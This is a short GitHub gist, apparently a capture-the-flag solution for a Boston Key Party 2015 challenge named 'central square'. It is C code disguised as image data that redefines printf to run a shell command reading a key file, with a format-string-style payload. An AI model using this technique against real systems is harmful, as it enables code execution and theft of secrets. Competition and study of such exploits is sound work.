Skip to content

Instantly share code, notes, and snippets.

@dwendt
Created March 1, 2015 17:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dwendt/5d7c753ac75e4a0a9fde to your computer and use it in GitHub Desktop.
Save dwendt/5d7c753ac75e4a0a9fde to your computer and use it in GitHub Desktop.
bkpctf central square
extern int main();
int lol() {
printf("ANIMEDAD GO\n");
FILE* file = popen("cat key","r");
// use fscanf to read:
char buffer[10000];
while(fscanf(file, "%100s", buffer) != EOF)
printf("%s\n", buffer);
pclose(file);
return 0;
}
#define printf lol
static char *image[] = {"a c red", "500 500 1 1 ", "AAAAAAAAAAAAAA%s%s%s", &printf, &main};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment